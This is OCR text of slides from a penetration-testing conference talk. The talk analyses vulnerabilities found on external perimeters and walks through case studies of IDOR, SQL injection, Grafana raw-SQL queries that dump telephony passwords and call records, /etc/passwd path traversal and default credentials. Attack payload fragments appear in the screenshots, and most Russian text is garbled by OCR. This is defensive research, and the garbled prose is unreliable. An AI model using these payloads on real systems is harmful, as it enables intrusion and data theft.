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DRAWING Ne PST-001 REV. 1.0 - DRAFT

AGENDA

01 - O yem Mbil

02 - MeTozonormsa n orpaHnyeHusa

03 - Tunbl yassumocTen v Tunbl M0
04 - OT ya3BMMOCTW K HEeA0OMYCTVIMOMY
05 - Y1o Aenatb M BbIBOAbI
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DRAWING Ne PST-001

REV. 1.0 - DRAFT

O UHEM Mbl
DATASET

- 50+ NpoeKToB HenpepbIBHOro TeCTUPOBAHNSA
BHeLLUHero rnepumMeTpa

- @okyc Ha high+ ya3zBnumMocTsx 6e3 n3BecTHbIX
CVE/BDU

- 150+ 0-day ysi3BrMoOCTeNn
- 250+ yA3BMMOCTEN ANA aHaNM3a

MODEL

- vuln_category: A05:2025 Injection

- vuln_type: sql_injection

- potential_impact: [data_disclosure,
account_takeover, ...]

- confirmed_impact: [data_disclosure]
- page_role: erp_platform

- recommended_controls:
[parameterized_queries, input_validation, ...]
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DRAWING N PST-001 REV. 1.0 - DRAFT

METO/NIOIMA N OTPAHWYEHINA

METOAONOInMA OFPAHMUWYEHWNA

- AataceT - Habop yA3BUMOCTEN, KOTOpble He
BCTpeYanncb paHbLue (MpoekTHble + 0-day)

- HeT CVE/BDU - ¢pokyc He Ha VM .+ He yHMBepCanbHasa CTaTUCTMKA BCEX
- TUNbl yAseumMocTet - OWASP 2025 + CWE-like ysi3BUMOCTeN
- Tunbl MO - cobcTBeHHas knaccndrkayms -+ TONbKO BHELUHW nepuMeTp

- impact - cnoBapb, COBMECTUMbIV MO CMbICAY C |
CVSS/OWASP Risk Rating j
- controls - cnoBapb, COBMECTUMbI MO CMbIC/Y
OWASP ASVS/OWASP Proactive Controls ‘
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DRAWING Ne

PST-001

REV.

.0

DRAFT

9%

AO01:Broken Access Control

A07:2025 Authentication Failures - 22.6%
A05:2025 Injection - 21%
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DRAWING N PST-001

REV. 1.0 DRAFT

reflected xss

other

, 12.5%
18.5%
idor
ssrf 11.3%
3.2%
auth_bypass
3.6%
dos . .
5.2% information_
disclosure
10.9%

sqgl injection
5.2%
csrf
6%
weakpass userenum
6% | B81%

missing_auth
9.3%

other
5.8%

erp_platform
3.1%
industrial
47%
api_service
47%

business_web_app
32.7%

document_platform
51%

monitoring_platform
86%

cms
21%

auth_portal
97%
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DRAWING N PST-001 REV. 1.0 - DRAFT

STORY1:ldentity-chain

CMeH1Tb Napornb

HeBepHbiIit NOrMH UKW Naponb
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DRAWING N PST-001 REV. 1.0 - DRAFT

STORY1:ldentity-chain

Kateropuu: YnanéuHblii aoctyn, MepeHactpoitka MK

AOCTYN € NWYHOrO NK npeaocTasneH ¢ 21.11.25 Ao 24.11.25 Ans NOAKNIOYEHUS YCTAHOBNEHHOIO Kue!

naponb OT NoyTbl U NK B ocuce) ID nk Ha cknape -
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DRAWING N PST-001 REV. 1.0 - DRAFT

STORY1:ldentity-chain

HeBepHbIil NOrMH WK Naponkb. Owu6Ka SOMEHHOW ayTEHTHUUKALMHK.
MpoBepbTe NPaBWUIBHOCTD YYeTHaA 3anuck: ¢ OMoKa:
BECATHREIR ASHHE, HeBepHble MMA NONb30BATENA UMK
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DRAWING N PST-001 REV. 1.0 - DRAFT

STORY1:ldentity-chain

PEAJIN3OBAHHBIE HC

- [1pobyB BHeLLHero nepriMeTpa

- loCTyn B KPpUTNYECKMNE CerMeHTbl KOHTPOA / ynpaBneHus /
aAMUHNCTPUPOBaHUS, etc

-+ C60op KapTbl LOMEHHbIX Y3, MaTepran nos QULLNHr-aTaku
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DRAWING N PST-001 REV. 1.0 - DRAFT

Request Response

Pretty Raw Hex UnUnicode [} n o = Pretty Raw Hex UnUnicode
1 POST /bitrix/services/main/ajax.php?mode=class& 1 HTTP/2 200 OK

I&action=downloadDocs HTTP/2

}

"errors": [

0
21 docs=17319
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DRAWING N PST-001 REV. 1.0 - DRAFT

STORY2:IDOR Everywhere

GET /fanswer.php?71d=9899209 HTTP/2 HTTP/2 200 0K
Server: nginx/1.28.0

Content-Disposition: attachment; filename=#9899209_answer.pdf

<</Type/Catalog/Version/1.7/Pages 3 @ R/Outlines 2 @ R/Metadata 11@ @ R>>
endobj
2 @ obj
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DRAWING N PST-001 REV. 1.0 - DRAFT

STORY2:IDOR Everywhere

wa'im istatic/)s/main- 06l

,REACT_APP_F | ndow.widgetConf
_ROLE?window.widgetConfig.REACT_APP_| '_ROLE:
, REACT _APP_BACKGROUND_COLOR:window.widgetConfig&swindow.

api/registerUser HTTP/2 1 HTTP/2 405 Method Not Allowed
2 Content-Length: @
3 Server: nginx/1.22.1
4 [ n n

5 Allow: POST
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DRAWING N PST-001 REV. 1.0 - DRAFT

STORY2:IDOR Everywhere

1,
“roleSchemes": [
{

"id":"5ff16)
"name": "Bpa+

"id":"c7ec2i
“name" : "Mauy

POST /api/registerUser HTTP/1.1 HTTP/1.1 200 OK

= server: Angie

Content-Length: 83 L] = u -

Authorization: null content-type: application/json; charset=utf-8
= = = = a content-lengt 170

-
Content-Type: application/json » e =

{
"roleContext "result":{
"sessionId":"eafd5b39-4076-48
"c7ec2fco- 5 "userId":null,

"name":null,
"roleContext":null

},

"success":t

"errorCode .

"message":null,

"stackTrace":null
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PST-001

REV.

.0

- DRAFT

STORY2:IDOR Everywhere

Authorization:
User- Agent: 1

its?processld=
HTTP/1.1

[Content-Ty application/json-patch+)son

HTTP/1.1 200 OK
server: Angie

content-type: application/json; charset=utf-8
content-length: 414
vary: Accept-Encoding

"userId"
“roomId"
"sessionId"

s57fileld=

HTTP/1.1 200 OK

> Content-Lengt
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DRAWING N PST-001 REV. 1.0 - DRAFT

STORY2:IDOR Everywhere
PEAJIN3OBAHHBIE HC

+ MaccoBoe packpbITvie NepcoHanbHbIX AAHHbIX U YYBCTBUTE/IbHOM
NHOPMaLMKM (KaKk pabOTHMKOB, TaK 1 MOCETUTENEN)

+ BO3MOXHOCTb NOAK/IHYATLCA K BUAEOKOHDEPEHLMN
+ BOSMOXHOCTb BINATL Ha pacnrcaHne paboTHMKa
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DRAWING N PST-001 REV. 1.0 - DRAFT

STORY3:1C-Enterprise

1

O6wwuii BxoAa Ans pa3Hbix npunoxexuii (OpenlD)

& Hasag

Monb3oBarens

Maponb

éPRSTCON - 26.05.2026 - MOCKBA W BE3/AE SCALE: =



DRAWING N PST-001 REV. 1.0 - DRAFT

STORY3:1C-Enterprise

1o (v) 1CShel (ICTpempusme)

xxxxxxxxxxxxxxxxxxxxxx
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DRAWING N PST-001 REV. 1.0 - DRAFT

STORY3:1C-Enterprise

<!DOCTYPE html>
<html lang="ru">

<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<script src="scripts/main.js"></script>
<title>Eninr o e/ title>

<link rel="shortcut icon" href="infobasel7/ecif8sys/im '/favicon.ico">
<link rel="stylesheet" href="css/styles.css">
</head>
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DRAWING N PST-001 REV. 1.0 - DRAFT

STORY3:1C-Enterprise

1=

1C:MpeanpusaTue

MpeBbILEHO AONYCTUMOE KONIMHYECTBO OLWINBOK
npv BBOAE UMEHW 1 napons. Bxoa ans AaHHoro
nonb3oarens 3abnokuposaH Ao
2:28:41
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DRAWING N PST-001 REV. 1.0 - DRAFT

STORY3:1C-Enterprise

BoccraHoBneHue napona

G Kog nogTeep#aeHna oTnpaeneH Ha

Beegute kof NOATESP¥AEHWA M HOBLIA Naponk:
Kog nogTeep#aeHuA:
Hoewlil naponk ssssesscese

ﬂo,n,rsep.::v‘,n,em-m napons. esssssssses

YCTaHOBUTE HOBLIW Naponk OTtmeHa

b sl et e
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DRAWING Ne

PST-001

REV. 1.0

DRAFT

STORY3:1C-Enterprise

Corpygume: Tect T.T.

HawmeHoeaHue

& 1eBUY

& Bna,.q MMUpOBKUY
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DRAWING N PST-001 REV. 1.0 - DRAFT

STORY3:1C- Enterprlse

KOHTaKTbl NOCTaBLUMKOB

‘ Buibpate

Haumerosarne
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DRAWING N PST-001 REV. 1.0 - DRAFT

STORY3:1C-Enterprise
PEAJIN3OBAHHBIE HC

+ MaccoBoe packpbITvie nepcoHanbHbIX AaHHbIX U YYBCTBUTE/IbHOM
NHOPMaLMK (KaK COTPYAHUKOB, TaK 1 MoJib30BaTesieit)

- BblMmoHeHKe MnPon3BOJ/IbHOIo KoJ4a

- leMOHCTpauus BO3MOXHOCTY GUHAHCOBbLIX 1 penyTaLNOHHbIX
PUCKOB
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DRAWING Ne

PST-001

REV. 1.0 -

DRAFT

STORY4:Monitoring Platform

Request
Pretty  Raw Hex
GEr /api/search?limit=5000 HTTP/1.1

Sec- ch Ua: "Chromium 125", "Not.A/Brand
Sec-Ch-Ua-Mobile: 70

Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1

Accept:

text/htnl, application/xhtnl+xnl applnatmwml 9,inage/av

if,inage/webp, inage/apng, */+;q=0.8, applic exchange
7

Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: 71
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept -Language: S, €n;q=0.9
Priority: u=0,

0 highlights

Response
Pretty Raw He

HTTP/1.1 200 OK

Content-Length: 81189

Connection: keep-alive

Cache-Control: no-store

X-Frame-Options: DENY

Vary: Accept-Language, origin

Content-Language: en

X-Content -Type-Options: nosniff

Referrer-Policy: same-origin

Cross-Origin-Opener-Policy: same-origin
Strict-Transport-Security: max-age=15724800; includeSubDomains

[
{

"fo\derhtle“
*/dashbo

"15De1e(ed" fulse

id":445,
uid":
“orgId
"title

r
wurle:

O > g 0 highlights

GET /api/datasources HTTP/1.1

Host

Sec-Ch-Ua: "Chromium";v="125", "Not.A/Brand"
Sec-Ch-Ua-Mobile

70

Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
8 ==

'
Accept:

text/htnl, application/xhtal+xnl, applmno
*;

if,image/webp, image/apng, *

3;q=0.7

-Fetch-Site:

-Fetch-Mode
-Fetch-User

-Fetch-Dest :

none
navigate
7n

document

Accept-Encoding: gzip, deflate, br

Accept -Language:

Priority: u=0

en-US,en;q=0.9

8,application/signed-exchange

Response
Prett Raw Hex

HTTP/1.1 200 OK

Content-Length: 14188
Connection: keep-ali
Cache-Control: no-store
X-Frame-Options: DENY

vary: Accept-Language, origin
Content-Language: en

X-Content -Type-Options: nosniff

image/av Referrer-Policy: same-origin

Cross-Origin-Opener-Policy: same-origin

Strict-Transport-Security: max-ag 24800;

[
{

“id
“uid
"orgId"
“name": .
“type": “meln mongodb - comnunity
“typeName" : “mongodb-community"
“typeLogoUrl

sublic/plugins/m:
"BCCﬁSS” pro: '

a1 .

“typeLogoUrl

ohighlights | () (& | € /[

includeSubDomains

0 highlights
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DRAWING N PST-001 REV. 1.0 - DRAFT

STORY4:Monitoring Platform

Response
Prety  Raw  Hex
HTTP/1.1 200 0K
Cache-Control: no-store
3 3 Content-Type: application/json
Accept: application/json, text/plain, 4 X-Content-Type-Options: nosniff
Accept-Language: zh-CN,zh;q=0.8,zh-TW,;
Accept-Encoding: gzip, deflate, br
Content-Type: application/json 7 Content-Length: 296
x-grafana-org-id: 1
NT: 1 {
10 Connection: keep-alive “results":
11 Content-Length: 170 “dat Request Response
{ ;s { Pretty ~ Raw  Hex  Hackvertor = Pretty Raw  Hex Hackvertor

1 POST /api/ds/query HTTP/1.1

P wpp e Javnn senss "
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q= .5,en-US;q=0.3,en;q=0.
Accept-Encoding: gzip, deflate, br

Content-Type: application/json

tring",

“typeInfo":{

L I0HC4420Q

i6fvDeob
svShnmi8

"(SELECT password,name,voicemail FROM asterisk.users)",
“format":"table",
“refId":"datasets",
“datasource
“type":“asterisk",
it
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DRAWING N PST-001

REV.

.0

- DRAFT

STORY4:Monitoring

Request
Pretty Raw Hex Hackvertor n =

1 POST /api/ds/query HTTP/1.1

Accept: application/json, text/plain, */x*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br

Content-Type: application/json

C

'1713514292433",
"queries": [

"rawSql":

"(SELECT calldate, src, dst, duration, recordingfile FROM asteriskcdrdb.cdr WHE
ngfile != ORDER BY calldate DESC LIMIT 20)",
table",

Platform

Response

Pretty Raw e Hackvertor
L

"out-+7921
2.wav",
"out-+7921
0.wav",
J'out-+7921

"internal-
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DRAWING N PST-001 REV. 1.0 - DRAFT

STORY4:Monitoring Platform

https://i reparts/ate phpTlink =@d7bapmn f3mbnl

= C @ O G = o L w ® 8 =
@ endpoint

(® Logout

SSL-VPN Portal

The SSL-VPN portal has been enabled for tu
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DRAWING N PST-001 REV. 1.0 - DRAFT

STORY4:Monitoring Platform
PEAJIN3OBAHHBIE HC

- MonyyeHne A0CTyNa BO BHYTPEHHHOI CETb

- [lonyyeHme HeCaHKLUVOHPOBAHHOIO AOCTYNa K 3anmncaM TefieOHHbIX
Pa3roBopoOB B crcTemMe IP-TenedoHmnm
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DRAWING N PST-001 REV. 1.0 - DRAFT

STORYS5:Injection-classic

Bad reguest

oW N

Connection: keep-alive

allow-origin: *
i-method

st ( ' () : 55-control-a
'; USER: as int) :

ge=15724800; includeSubDomains
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DRAWING Ne

PST-001

STORYS5:Injection-classic

Raw Hex

Response
n = Pretty Raw Hex Render
HTTP/1.1 500 Internal Server Error

J

Server: nginx/1l.24.0 (Ubuntu)

Content-Length: 1201
Connection: keep-alive
Cache-Control: no-cache,private

_=a1pha1'l‘. % Pragma: no-cache
T i
1 Q)
11 =IDOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.0rg/TR/xhtmll
12 <html xmlns="http://www.w3.0rg/1999/xhtml ">
13 =head=
W =" | jnepector L] I - X
Request Response 5 D= -
Raw Hex w = Pretty Raw Hex Render N = | election 72 (0x48) ~
T </tds
2 </tr> Selected text
3 <tr>
7 <tds alphal'+UNION+%53ELECT+11ine, 2,3, 4,5,
5 6,7.8,9, 10+FROM- S
5 </tus
<td>
& elenent_l-alphal'+UNION+%53ELECT+Line, 2,3, 4,5,6,7, 6,9, 10+FROM+dbo EEh i St [ — ®
«trds
alphal' UNION SELECT line,2,3,4,5,6,
</td= 7,8,9,18 FROM - -
<td=
</td>
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DRAWING N PST-001 REV. 1.0 - DRAFT

STORYS5:Injection-classic
PEAJIN3OBAHHBIE HC

-+ MaccoBoe packpbITvie NepcoHanbHbIX AAHHbLIX U YYBCTBUTE/IbHOM
NHGOPMaL MK

- KomnpomeTauumm Bcex noiib3oBaTenein noprtana
- BbIMoNIHEHME NPON3BO/IbHbIX KOMaHZ Ha XOCTe
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DRAWING N PST-001 REV. 1.0 - DRAFT

STORY6:CMS and modules

o « © (G- B

2023; 6eccpoyHo; 3; 89 : 1A; ANIEKCA
2023; 6eccpoyHo; 3;89¢ G T3 NETPOCO
2023; 6eCCpoUHO; 3; 89 : MUNA; NAB
;3;896mm 5 \; HUKOJIAE

\; HUIKONAE

VIbf; BUKT

1P; BACUNb,

:BIAQMMAP

- ]

Tenedon*

- ]

Teker obpateHus*

Execute

IP address HW address Device
00:15: etho
00:58: etho
00:1 etho
00:15: etho

MpukpenwTs dain

Ompasums

éeéPRSTCON - 26.05.2026 +- MOCKBA W BE3/AE SCALE: =



DRAWING N PST-001 REV. 1.0 - DRAFT

STORY6:CMS and modules

RS lopmalmoHHbii Gnok: | (sbiGepuTe Tvn) /Jetc/passwd

VnchoGnowm

O6paGoTka an /et(/paSSWd%oo

RokymenTel
Vicropus

Craryeu Bugeo-mictpyapn | FAQ | Aokywewrayun o
Maccosas o6paGorka

Cricox wabnowos 0 VIHOpMALMOHHIH 610K He BLIGpaK. 3arpy3Ka HeBOIMONHA.

He 3aaH0 nloe 4R WACHTUAWKALMY INeMeNTa
HacTpoiion

Paitn panHbix

Bbi60p chaiina aHHbIX 1 MHGOPMALMOHHOrO 610ka Ans MMgopTa @
CoxpanuT KoHUTypaLmio

Npocuns sarpyskn

BuiGepuTe npocns: | Coagath Hoawi

Hassase npoguns: " dann ANA 3arpy3km ,‘etcfpasgwd —_

dai
Hacrpoiiu sarpysin dainnoc . O6bem: 1.06 Kb

DPMAaLMOHHBIA BNOK: | Cewinka: fuploadit -
48/passwd.csv

[fara arpy3xm: 1
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DRAWING N PST-001 REV. 1.0 - DRAFT

STORY6:CMS and modules
PEANNW3OBAHHBIE HC

- YaaneHHoe BbinosiHeHWe koJa (RCE)

- MaccoBoe packpbIT/e MepcoHanbHbIX AaHHbIX N YYBCTBUTE/IbHOW
NHPOPMaLNK
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DRAWING N PST-001 REV. 1.0 - DRAFT

STORY7:rich documentation/opensource

PHP kop,

CneumanbHbliA TUN NOMSA, NO3BOMSIOLLMIA BaM BbINONHUTL cO6CTBeHHbIN PHP Kof. MoXXHO npvMeHuTb, Hanpumep, ons hopM1poBaHus

TEKCTOBOro wabJsioHa rno YCNoBWHO. B kopoe MoXHO ncnonb3oBaTb 3Ha4YeHUs 13 TeKyLLl,elﬁ n pO,EI,I/ITeJ'IbCKOIZ 3anucu. NMomumo yCﬂOBVII;I KoL

NO3BONSET BbINOMHWUTL 3anpoc K 6a3e AaHHbIX.

Ha sknagke "PHP koa" BBeguTe Baw Kop.
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DRAWING N PST-001

STORY7:rich documentation/opensource

v [E) CospaHue, pegakTupoBaHue U yaaneHue nosb3osarene #5 AIMUMHUCTPHPOBaHME

© O6uine HaCTPOKK
A5 min & Add a reaction
d~ Astopusauvs

MeTKM coGbiTH v

Mo ymonyaHuio B cUCTeMe eCTb TOSIbKO OAMH NOJb30BaTe b — mumswm, Y KOTOPOro posb + [lo6apuTs 3anpoc

U Mpaea goctyna

g n. 370 rMaBHbI agMUHUCTPATOP NNAaTGOPMbI C CaMbIMU LUIMPOKUMU

NOTHOMOUUSIMU, KOTOPbI MOXET COo3[aBaTb B CUCTEME JIHOObIX MOMb30BaTenen, B Mo sropt S ’ ~ Cobbitun
BKJ1H04asi NOMb30BaTENEN C POSIbIO “C 1”. AGDMUHUCTpaTop paboyen 06nacTu He MeTpiicn

MOXeT yAanuTb rnobanbHOro agMUHUCTpaTopa M3 cBoe paboyei obnactu, unm Coberman
3anpeTuTb eMy YTo-nn6o genatb. [1ns BXxoAa B CUCTEMY B KaYecTBe rno6asbHOro & Skenopr / Munopr S e e : mEeE

agMMHUCTPaTopa HEOBXOAMMO MUCMOSb30BaTh CeAyHLIMe faHHble YYETHOM 3anmcu: 5 i, —uriinon
% PernameHTHble OTYETbI h

Wmsa nonb3oBaTtens: B e —
Maponb: 123456 & Nuyenaun

HoBble nonb3oBaTenu fo6aBnsTCSa ¢ NomMoLbio Keycloak.
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DRAWING N PST-001 REV. 1.0 - DRAFT

STORY7:rich documentation/opensource

1 254 URLs have been ci 2. UHcTannauus n pa6oTa ¢ CMCTEMOM

Mo ymonuaHuio B cucteme 3aperucTpupoBaHbl crneayto-
LM1e nonb3oBaTenu:

1. MNpenopasarenk ¢ NpaBamun Ha ynpaBneHue obyvyeHnem.

JoruH: te ’r
Maponb: 123

(ponb Ne 13 B Tabnuue 1 npunoxeHus 1).

2. AOMUHWCTpaTOp C NpaBaMy Ha HAaCTPOWKY cUCTeMb! "
JloruH: a n
Maponb: 123

(ponb Ne 1 B Tabnuue 1 npunoxexus 1).

3. AOMUHUCTpaTOp KnacTepa ¢ npaBaMu Ha peaakTUpoBaHue yana kna-
cTepa, HacTPOWKY CUCTEMBI, yrpaBrieHne 3arpy)XeHHbIMU Kypcamu.
JlornH: wem
Maponb: 123

(ponb Ne 2 B Tabnuue 1 npunoxexus 1).

Pasnuuve dyHKUMOHaNbHBIX BO3MOXHOCTEN B ynpaBrieHnn nop agmu-
HUcTpaTopamu 3aknioyaeTcs B 0To6paxeHnn pasHo-
ro Konu4yecTBa yHKLUMOHANbHbIX BKNAAOK nporpammbl. Mpu 9TOM yHKLK-
oHan ToW UNW WHOW BKNaAKuW NpW OTKPbITUM JOCTYNEH nop ynpasreHnem
BbllLeyKa3aHHbIX aMUHUCTPATOPOB B NOSIHOM obbeme.

lMpumeyvaHue: AOMUHUCTPATOP C NOTUHOM ABNAETCS rMaBHbIM aj-
MWHUCTPATOPOM B CUCTEME, T. K. TONMbKO aAMUHUCTPaToOp ynpasnsiet
paboToit knacTtepa. [ina cbpoca HacTpoek BXoda Ans agMUHWUCTpaTopa

Jpr_uchet.pdf HeoBXoANMO B MEHIO ornepaLvoHHOW CUCTEMbI BbiGpaTb COOTBETCTBY-
IOLLMIA NYHKT, @ 3aTeM NoATBepAnTb AaHHoe Aencteue (puc. 2.1.1).

/userguide.pdf

/zimag_servis.pdf
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[corel
repositoryformatversion = @
filemode = false
bare = false
logallrefupdates = true
symlinks = false
ignorecase = true
[remote “origin"]
url = https://gitlab.com/
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master

vscode-merge-base = origin/master

//# sourceMappingURL=data:application/json; /
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@ DevTools is now available in Russian

K o Elements Console Sources Network Performance Memory Application Privacy and security

Page Workspace >

» £3 documents

» [ files

» [ references

» (3 shifts

» [ tags

» [ taskinstances
» [ taskTemplates
» 3 users

D socket.ts

socket.ts

D
[ utils.ts
™

[=

: [« App.tsx App.tsx socket.ts socket.ts X

1 import.meta.env = {

curi 2

r

"BASE_URL": "/",

“DEV": true,

"MODE": "development",

"PROD": false,

"SSR": false,
"VITE_HMR_OVERLAY": "false",
"VITE_ICE_SERVER_CREDENTIAL":
"“VITE_ICE_SERVER_URLS": “turn:turn.ainsp.ru:8@,tur
"VITE_ICE_SERVER_USERNAME":
“VITE_QR_LOGO": "true",
"VITE_QR_ROUNDED": "false",
"“VITE_SERVER_API"
"VITE_SERVER_API_SUB DOMAIN":
"VITE_SERVER_SOCKET
"VITE_SERVER_SUB_DOI

Don't show again Always match Chrome's language Switch DevTools to Russian

Lighthouse

ip.ru -x socks5://127.0.06.1:1080

Recorder

3
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PEAJIV3OBAHHBIE HC

1 Flonyqul/le AOCTYMa K KPUTNHECKM aKTNBaM, NMNePCOHA/IbHbIM AdHHbIM,
AOKYMEHTAM

- PasBuTune atakm n nonck 0-day ysa3BmmMocTel, sckanaumsa 40
KPUTUYECKNX HAXOL40K BHYTPU MHTepdercoB, KOTOpble CTanun AOCTYMHbI
BC/IeACTBME MPUMEHEeHUS MHPOopMaL MU N3 JOKYMEHTaL NN
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BbiBOAbI

- Cnabbln KOHTPO/b 3@ BHELLHUM NepyMeTPOM U
nyeankaumsa KPUTUYHBIX CUCTEM

- [Ipobnembl € y4eTHbIMU AaHHbIMU

* I36bITOUHBbIE MpuBUIErnm

- [Ipo6nemMbl C KOHTpPOIEM AOCTYMa

+ I36bITOUHOE packpbITUe HPOPMaLK
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Tun NO & YA3BUMOCTDb

Monitoring

sqli , information
6.5% ! disclosure
path_travers6.07 14.3%
6.5% csrf :
authentication_bypass 28.3% 5
87% y
i ssrf
i 42.9%
i reflected_xss
information_ 21.4%
disclosure ;
10.9% i
reflected_xss E
13% 26.1% : missing_authorization
' 214%
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7%

1C-Enterprise NpuBOAAT K HEAOMYCTUMOMY COBbLITUIO

Ho kpatviHe pefKko BCTPeYaroTcs Ha BHELWIHEM MepuMeTpe
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CONTROLS

other
12.6% object_level_avtorization

24.5%

least_privilage
18.9%

centralized_au
o thorization
rate_limiting 23.9%

201%
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BbiBOAbl

- HegonycTMble COBbITUS MPONCXOAAT U3 3@ KOMMeKca
npo6niem Nb

. |_|p|/|OpI/ITI/I3I/IpOBaTb MOXXHO KaK aTakKyroLWWeE TakK A
3dlUUTHBbIE |£|,e|\/JICTBI/IFI

y |_|pO6J'IEMI:I C YHETHbIMN AdHHBIMW U KOHTPOJ1EM
AOCTYyMNa - Hanbonee MaccoBble MNaTTeEPHDbI
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Kunpunn lNoneraes
PomaH ManoB

xh4vm

v_baboha

PobepT TopocsaH
Pycnan CapuynnH
AnekcaHap XabnbynanH
PomaH EayToB

HunknTa Nonsakos

AmunTpuin Npoxopos ex.
AHTOH LLIMakoB

ropsb lNepByLUnH

BrkTop J/lasapeB
CtaHucnas CaBYeHKO
Anekcen Cepon ex.

MapvHa Yao040Ba

nba bekeeB

Aptemunn Lleuepckuin ex.
AnekcaHap YepHeHbLKOB exX.

éeéPRSTCON - 26.05.2026 +- MOCKBA W BE3/AE

SCALE:

DRAFT



DRAWING Ne PST-001 REV. 1.0 - DRAFT

QUESTIONS - COMMENTS - DISAGREEMENTS

github.com/Lolka555/Schedulers-An-Old-Field-of-New-Optimizations -
@psychodrake
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